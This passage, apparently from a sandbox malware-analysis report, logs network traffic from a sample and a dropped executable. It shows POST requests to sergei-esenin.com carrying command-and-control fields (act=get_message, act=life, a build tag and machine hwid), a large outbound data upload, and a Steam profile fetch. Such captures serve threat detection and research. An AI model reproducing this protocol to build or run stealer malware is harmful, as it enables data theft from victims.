ac c5 6c 62 cf bd 35 7b c5 f0 e0 23 7b 16 6f c8 4d e4 79 36 91 4b b6 2f 43 2f 9a 8c Data Ascii: WP3A(7z/GAd= BJ%$0x8q<=e-rz#'PnR{%Q{rW0%<>c(&Zf2}?jb0[QS,f;<kI+Sje8-QNH0YG]o7rpBldpClb5{#{oMy6K/C/
2024-10-24 07:07:20 UTC	15331	OUT	Data Raw: 55 ee 41 cb 45 66 77 aa 14 82 db 1c 38 0b df d9 b5 8f 3d d5 be a8 de 54 e8 62 d7 c4 75 0c 9e 18 1e d2 fc 4e 2e b9 c0 0f f6 ac be 87 c2 dd fe 1e 8e f4 10 c5 3b 60 4e 11 0e df 5d 51 6b 10 20 9e 08 7b f2 b1 63 fc 4b 0d 23 33 48 8a 9e 49 59 27 cc 1a 7a 5e 6c eb b1 12 6e 0e 1e 43 75 3f 1e ec 30 d0 1a a9 0a d9 09 0b e9 b9 d1 cd 1a dc c1 d9 14 d0 2a 9b bf 03 16 ff db 25 2e 02 03 f1 25 7c dd 00 fa ce 9e bb 87 5c fd 1d 87 f6 3a 51 66 d0 9d 49 5b 21 2e 26 0e e4 87 72 ec 60 70 3e bb ac 03 42 a5 b4 01 a9 97 75 47 a2 23 ce f6 ee 51 4c da f8 a5 da 93 09 b0 1f 3d 72 79 d6 98 ce a1 c2 24 c8 cf 1a 10 91 f0 f5 2b 61 f4 0c 34 d0 15 d1 06 e7 a8 32 91 94 16 40 75 c4 6a f3 b1 d7 b7 03 fb 8a e5 c8 bb 52 91 d0 21 11 a0 de 08 69 a2 15 4f 80 54 19 54 fe 6b d9 ce 19 11 70 49 d8 00 Data Ascii: UAEfw8=TbuN.;`N]Qk {cK#3HIY'z^lnCu?0*%.%\|\:QfI[!.&r`p>BuG#QL=ry$+a42@ujR!iOTTkpI
2024-10-24 07:07:20 UTC	15331	OUT	Data Raw: 90 bb 59 96 01 d2 47 91 77 b5 34 45 db 0d b4 5f a8 28 45 c4 f3 8d 56 a7 b3 ad 76 65 c1 6b 4d 80 bd d1 75 bf 71 ce 68 33 de 02 4f de f8 fd 5f ab e0 b9 8f 22 06 18 f0 e7 26 26 fa 5f 3b 63 9d d8 56 d4 76 96 d0 02 b6 47 c6 0b 21 da 8a ef d8 9e f7 5a 15 0a 06 a1 b1 5b 37 a5 71 c3 2a 44 5c 7a 78 00 0b 86 1c 91 e3 99 66 41 bf ff f2 f7 f0 6b 5f 85 e1 e6 dd 55 46 6a a3 a2 05 79 df b9 ad 55 a4 d3 74 d8 7a 97 db f4 3c a2 d3 43 c3 5e 09 0a c2 d9 4e 70 de 32 31 13 b1 5b 7f 98 65 ca e4 c9 5f 24 61 aa 76 74 d0 0b 31 03 1f 4c d7 45 2c c0 0f 16 ed c0 b9 2b 13 2f e5 67 3e 4e 87 e5 2e d1 7b 84 09 d1 11 8e eb b5 d6 5a ad c3 f3 1e e1 b1 96 21 6b 72 54 33 b2 84 b8 f8 f5 57 a9 59 49 1f ea ff 6c 33 d9 86 22 45 91 82 4e 0f ca a6 c6 15 6f 39 1a 58 2f a6 74 f3 b0 55 36 59 ee ae 34 Data Ascii: YGw4E_(EVvekMuqh3O_"&&_;cVvG!Z[7q*D\zxfAk_UFjyUtz<C^Np21[e_$avt1LE,+/g>N.{Z!krT3WYIl3"ENo9X/tU6Y4
2024-10-24 07:07:20 UTC	15331	OUT	Data Raw: f2 18 7e 9f f3 c3 11 fe f8 73 c4 4c b8 7b f8 de 75 e5 f5 bd 8f 0e d0 3e 1e 81 7d 98 23 b2 b7 6e 91 fd 05 ed 82 af 0f 24 0b 39 fa a2 6e 6c 60 e4 b3 3e c3 bf a0 bc 1c 7c 64 60 2c b6 a4 13 d9 4d 59 13 9a 1e b1 63 f4 4d 6c 98 53 78 78 ca cf 01 49 57 c6 ee 6d de dd f8 18 d5 6f 68 58 fe 40 da f1 40 b1 59 31 a1 53 ab 45 82 9c 02 ed 2d 58 47 e8 f2 37 28 07 9c 04 70 7a bb c4 75 4d ae 2e 53 85 5d b4 f8 ef a4 0a 26 96 21 b9 50 ba 68 99 91 a3 44 fc 68 65 17 e8 b6 b6 3b cf 39 d2 8a 13 30 8a 95 f1 d3 78 70 7f 65 5c 90 97 d3 49 6a a9 fb 52 b4 59 3e 65 8e 2a a0 79 54 10 e8 f3 b2 ad f9 8c 80 e4 4e 5a 71 80 6f f5 13 a7 c3 96 60 91 f1 e6 80 f7 fc 83 05 1d 46 6f 2d 57 93 23 82 2d cc 70 84 c3 67 c2 e8 cf fc 97 c3 43 d3 31 5a a2 9b 9b 0d 15 1e 1d ef 4a 06 5e e6 e4 6e fc 96 f2 Data Ascii: ~sL{u>}#n$9nl`>\|d`,MYcMlSxxIWmohX@@Y1SE-XG7(pzuM.S]&!PhDhe;90xpe\IjRY>e*yTNZqo`Fo-W#-pgC1ZJ^n
2024-10-24 07:07:22 UTC	1027	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:07:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lnrnflndgn2bamm1gvqc6afp7l; expires=Mon, 17 Feb 2025 00:54:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HbD%2F6euruBX%2BgIG%2FCJWUe%2BoPsROJABCEtH2HJS8in7kA6C511oImTnWiGlutGO4UoeLbw0nIhxCkNdqaQZE8rD2MWZMRkzyCPIe%2BTEccz5IRCCZN95hSxtMJJhBhVSbKosCnug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7821205e4a461e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1182&sent=217&recv=611&lost=0&retrans=0&sent_bytes=2844&recv_bytes=575788&delivery_rate=2454237&cwnd=251&unsent_bytes=0&cid=2cf805b3b782481b&ts=1901&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49766	104.21.53.8	443	2532	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:07:23 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=ZNyVIrCFolKfHmaH_9EIUk8R94A7S47wV6pI0a4oLtA-1729753632-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: sergei-esenin.com
2024-10-24 07:07:23 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 35 45 46 36 42 35 35 41 45 45 46 37 45 42 31 39 36 45 30 42 37 46 44 30 38 34 30 37 37 44 32 33 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=5EF6B55AEEF7EB196E0B7FD084077D23
2024-10-24 07:07:23 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:07:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=88ba1eeimbh3ntk04ep91k2p8l; expires=Mon, 17 Feb 2025 00:54:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VmXRiX645Cgh0E8DDsvuX%2FmRqOoUkM0fmscPNPK4AJ6zc%2BGumZwKh4BkBPfIYYgrvKL0X9YwugyHuFtl9OUobq5FYSc8yDISQqCPjdEDmWEmuWf%2BvVuYMTXXat0h1UVrnyjLTQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7821304cfe6b2a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1711&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=1077&delivery_rate=1660550&cwnd=251&unsent_bytes=0&cid=b7887046f690dd4e&ts=503&x=0"
2024-10-24 07:07:23 UTC	299	IN	Data Raw: 31 32 34 0d 0a 48 66 6d 37 34 72 74 45 58 53 2f 51 56 35 65 48 2f 4d 65 32 41 6b 65 57 71 73 76 52 4e 35 6f 53 58 6c 52 4e 44 65 4b 54 50 35 74 47 67 70 6d 58 6d 58 35 2f 52 36 51 6a 35 37 32 67 36 4f 6f 74 64 71 36 66 35 65 4d 47 72 7a 78 76 5a 58 34 6a 30 36 56 6a 74 48 43 51 31 59 66 6e 61 79 39 4f 76 6a 50 34 36 74 4b 69 7a 6d 64 6c 75 6f 69 74 70 52 57 67 49 6e 4a 32 4b 43 2f 59 6f 30 4b 33 5a 74 76 4f 77 49 46 6d 4e 56 75 6b 4a 36 33 62 30 35 75 5a 4d 33 2b 6a 68 50 6e 67 41 72 51 6a 62 32 64 6a 50 4e 54 50 45 4f 68 70 6e 4e 71 50 35 32 73 76 54 72 34 7a 2b 4f 72 53 6f 73 35 6e 5a 62 71 49 72 61 55 56 6f 43 4a 79 64 69 67 76 32 4b 4e 43 74 32 62 62 7a 73 43 42 5a 6a 56 62 70 43 65 74 32 39 4f 62 6d 54 4e 2f 6f 34 54 35 34 41 4b 30 49 32 39 6e 59 7a Data Ascii: 124Hfm74rtEXS/QV5eH/Me2AkeWqsvRN5oSXlRNDeKTP5tGgpmXmX5/R6Qj572g6Ootdq6f5eMGrzxvZX4j06VjtHCQ1Yfnay9OvjP46tKizmdluoitpRWgInJ2KC/Yo0K3ZtvOwIFmNVukJ63b05uZM3+jhPngArQjb2djPNTPEOhpnNqP52svTr4z+OrSos5nZbqIraUVoCJydigv2KNCt2bbzsCBZjVbpCet29ObmTN/o4T54AK0I29nYz
2024-10-24 07:07:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49998	104.102.49.254	443	7836	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:08:18 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-24 07:08:19 UTC	1917	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.cloudflare.steamstatic.com/ https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.cloudflare.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https:// [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 24 Oct 2024 07:08:19 GMT Content-Length: 35741 Connection: close Set-Cookie: sessionid=e1278a16b9320a04499a4d86; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cbcfeb0e5371aba24e9977faccad43253; Path=/; Secure; HttpOnly; SameSite=None
2024-10-24 07:08:19 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-24 07:08:19 UTC	16384	IN	Data Raw: 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 Data Ascii: <a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a><a class="submenuit
2024-10-24 07:08:19 UTC	3768	IN	Data Raw: 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 70 65 Data Ascii: c1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"focusable":true,"clickOnActivate":true}" class="pe
2024-10-24 07:08:19 UTC	1122	IN	Data Raw: 70 72 6f 70 65 72 74 79 20 6f 66 20 74 68 65 69 72 20 72 65 73 70 65 63 74 69 76 65 20 6f 77 6e 65 72 73 20 69 6e 20 74 68 65 20 55 53 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 75 6e 74 72 69 65 73 2e 3c 62 72 2f 3e 53 6f 6d 65 20 67 65 6f 73 70 61 74 69 61 6c 20 64 61 74 61 20 6f 6e 20 74 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 72 6f 76 69 64 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 6c 69 6e 6b 66 69 6c 74 65 72 2f 3f 75 3d 68 74 74 70 25 33 41 25 32 46 25 32 46 77 77 77 2e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 20 6e 6f 6f 70 65 6e 65 72 22 3e 67 65 6f 6e 61 6d 65 73 2e 6f 72 67 3c 2f 61 3e 2e 09 09 Data Ascii: property of their respective owners in the US and other countries.<br/>Some geospatial data on this website is provided by <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org" target="_blank" rel=" noopener">geonames.org</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50000	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:08:19 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-24 07:08:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-24 07:08:20 UTC	576	IN	HTTP/1.1 403 Forbidden Date: Thu, 24 Oct 2024 07:08:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X3YWY1zzJ18K%2BdL%2F5kRnKhVgSDi%2BOK%2F%2Fli7BiduDvg0ywzht1NYu8%2BTcB1vCFESfBvXsQmNJ%2FrfOsw%2F7RyhjPJWJWuyEgH8bJX1UkQW28QUNX8OMs%2B5yQQdDYZ8KYj%2FEWe%2BCdw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7822915ac2e905-DFW
2024-10-24 07:08:20 UTC	793	IN	Data Raw: 31 31 35 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1154<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2024-10-24 07:08:20 UTC	1369	IN	Data Raw: 73 27 20 68 72 65 66 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 74 79 6c 65 73 2f 63 66 2e 65 72 72 6f 72 73 2e 69 65 2e 63 73 73 22 20 2f 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 0a 0a 0a 3c 21 2d 2d 5b 69 66 20 67 74 65 20 49 45 20 31 30 5d 3e 3c 21 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 69 66 20 28 21 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6f 6b 69 65 45 6e 61 62 6c 65 64 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 63 6f 6f 6b 69 65 45 6c 20 3d 20 64 6f 63 75 Data Ascii: s' href="/cdn-cgi/styles/cf.errors.ie.css" /><![endif]--><style>body{margin:0;padding:0}</style>...[if gte IE 10]>...><script> if (!navigator.cookieEnabled) { window.addEventListener('DOMContentLoaded', function () { var cookieEl = docu
2024-10-24 07:08:20 UTC	1369	IN	Data Raw: 6d 2f 6c 65 61 72 6e 69 6e 67 2f 61 63 63 65 73 73 2d 6d 61 6e 61 67 65 6d 65 6e 74 2f 70 68 69 73 68 69 6e 67 2d 61 74 74 61 63 6b 2f 22 20 63 6c 61 73 73 3d 22 63 66 2d 62 74 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 30 34 30 34 30 3b 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 62 6f 72 64 65 72 3a 20 30 3b 22 3e 4c 65 61 72 6e 20 4d 6f 72 65 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 66 6f 72 6d 20 61 63 74 69 6f 6e 3d 22 2f 63 64 6e 2d 63 67 69 2f 70 68 69 73 68 2d 62 79 70 61 73 73 22 20 6d 65 74 68 6f 64 3d 22 47 45 54 22 20 65 6e 63 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 3e 0a Data Ascii: m/learning/access-management/phishing-attack/" class="cf-btn" style="background-color: #404040; color: #fff; border: 0;">Learn More</a> <form action="/cdn-cgi/phish-bypass" method="GET" enctype="text/plain">
2024-10-24 07:08:20 UTC	913	IN	Data Raw: 22 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e 26 62 75 6c 6c 3b 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 3c 73 70 61 6e 3e 50 65 72 66 6f 72 6d 61 6e 63 65 20 26 61 6d 70 3b 20 73 65 63 75 72 69 74 79 20 62 79 3c 2f 73 70 61 6e 3e 20 3c 61 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f Data Ascii: ">173.254.250.71</span> <span class="cf-footer-separator sm:hidden">•</span> </span> <span class="cf-footer-item sm:block sm:mb-1"><span>Performance & security by</span> <a rel="noopener noreferrer" href="https://www.cloudflare.com/
2024-10-24 07:08:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50002	104.21.53.8	443	7836	C:\Users\user\AppData\Local\Temp\1001138001\ee8d47a049.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 07:08:20 UTC	354	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Cookie: __cf_mw_byp=o3_cIchpFPuloNVIOxm9uFB1s4rFy0KGPikbhHN7NRI-1729753700-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: sergei-esenin.com
2024-10-24 07:08:20 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-24 07:08:21 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 07:08:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=go7a37immvpgr72kfb6tct8sj2; expires=Mon, 17 Feb 2025 00:55:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l%2F0GtGzXGvk6GpJAp46emW8obAL5FcUb32L4rpmCzgoOyigpAIqZWSbJMf4ByfS6Hs0%2FalkZlmzLv3ykL7uu9Ynj3%2FnMnj83FIt5671KsPjgLN1du2ZnmbW%2BnzBciGLVMGSI0w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d7822975f444620-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1013&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=1042&delivery_rate=2763358&cwnd=251&unsent_bytes=0&cid=bf5ae06a82941dec&ts=590&x=0"
2024-10-24 07:08:21 UTC	351	IN	Data Raw: 31 64 37 36 0d 0a 6d 6b 44 73 71 4a 65 49 4c 2f 42 6d 6e 54 4b 37 4b 57 37 44 48 6d 6f 52 49 50 34 71 53 57 33 67 4e 6f 6d 42 46 4d 50 58 43 62 54 68 59 70 71 4b 72 62 77 44 30 68 58 34 45 49 46 64 48 4c 5a 37 52 6a 4e 42 6d 67 68 7a 43 34 46 61 2b 75 51 34 34 61 46 6b 6c 71 41 6d 6a 63 54 6b 37 51 50 53 41 2b 55 51 67 58 49 56 34 58 73 45 4d 78 72 63 54 79 4d 50 67 56 72 72 34 48 2b 73 70 32 58 58 38 69 79 4c 77 50 4c 72 53 35 45 4b 38 46 66 65 54 41 2b 70 63 41 4e 38 53 4a 4d 49 5a 55 2b 46 54 4b 75 37 4e 6f 36 79 66 64 58 58 49 5a 2f 44 74 66 55 44 69 30 54 34 58 4a 6b 54 54 4b 4a 37 43 48 31 47 6d 6b 45 68 42 59 68 53 36 75 56 2b 73 37 35 76 33 50 49 69 69 4d 48 34 34 6c 2b 63 41 50 64 63 32 45 59 50 34 54 4a 49 64 46 72 63 45 47 74 63 73 46 66 36 38 Data Ascii: 1d76mkDsqJeIL/BmnTK7KW7DHmoRIP4qSW3gNomBFMPXCbThYpqKrbwD0hX4EIFdHLZ7RjNBmghzC4Fa+uQ44aFklqAmjcTk7QPSA+UQgXIV4XsEMxrcTyMPgVrr4H+sp2XX8iyLwPLrS5EK8FfeTA+pcAN8SJMIZU+FTKu7No6yfdXXIZ/DtfUDi0T4XJkTTKJ7CH1GmkEhBYhS6uV+s75v3PIiiMH44l+cAPdc2EYP4TJIdFrcEGtcsFf68
